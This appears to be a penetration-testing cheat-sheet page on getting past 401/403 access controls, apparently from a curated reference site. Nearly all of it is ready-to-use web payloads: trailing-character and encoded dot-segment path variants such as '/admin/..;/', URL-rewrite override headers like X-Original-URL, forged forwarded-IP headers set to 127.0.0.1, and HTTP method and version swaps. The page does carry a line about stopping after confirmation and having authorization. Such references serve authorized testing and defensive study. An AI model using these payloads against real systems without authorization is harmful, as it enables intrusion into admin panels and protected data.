Parser and control bypass reference

403 / Access-control bypass

When a path returns 401/403, try to reach it another way. Path-normalization disagreements between the edge (Nginx/HAProxy/CDN) and the app, plus trusted-header quirks, are the reliable wins on modern stacks.

403401access-controlidor
Stable IDbypass:auth-403Last updatedLast verifiedLegacy review pendingProvenanceCurated reference
Compare behaviorA bypass claim needs a control request and a clear boundary that changed.

Stop after confirmation. Do not escalate impact without separate authorization.

Trailing-character path variants

Reverse-proxy ACL and the app router normalise differently. Effective against Nginx/Tomcat/Spring fronting an app.

  • /admin/
  • /admin/.
  • /admin//
  • /admin/./
  • /admin%20
  • /admin%09
  • /admin?
  • /admin#

Encoded traversal / dot-segments

Path is re-normalised after the ACL check. `..;/` is a Tomcat/Spring path-parameter trick that still lands in 2024-25.

  • /%2e/admin
  • /admin/..;/
  • /./admin/..%2f
  • /admin/%2e%2e/admin
  • /..%2f/admin

URL-rewrite override headers

Symfony / Nginx rewrites route on these. Send the request to `/` with the header pointing at the protected path.

  • X-Original-URL: /admin
  • X-Rewrite-URL: /admin
  • X-Override-URL: /admin

Trusted-source spoof headers

Panels gated to internal/localhost frequently trust a client-supplied forwarded header.

  • X-Forwarded-For: 127.0.0.1
  • X-Real-IP: 127.0.0.1
  • X-Forwarded-Host: localhost
  • X-Custom-IP-Authorization: 127.0.0.1
  • Client-IP: 127.0.0.1

Method / version swap + origin

ACLs often match only GET; the framework still dispatches other verbs. Also try HTTP/1.0 or hit the origin IP directly to skip the edge ACL.

  • POST /admin
  • PUT /admin
  • PATCH /admin
  • TRACE /admin
  • GET /admin HTTP/1.0

Version history: normalized permanent page created 2026-08-20.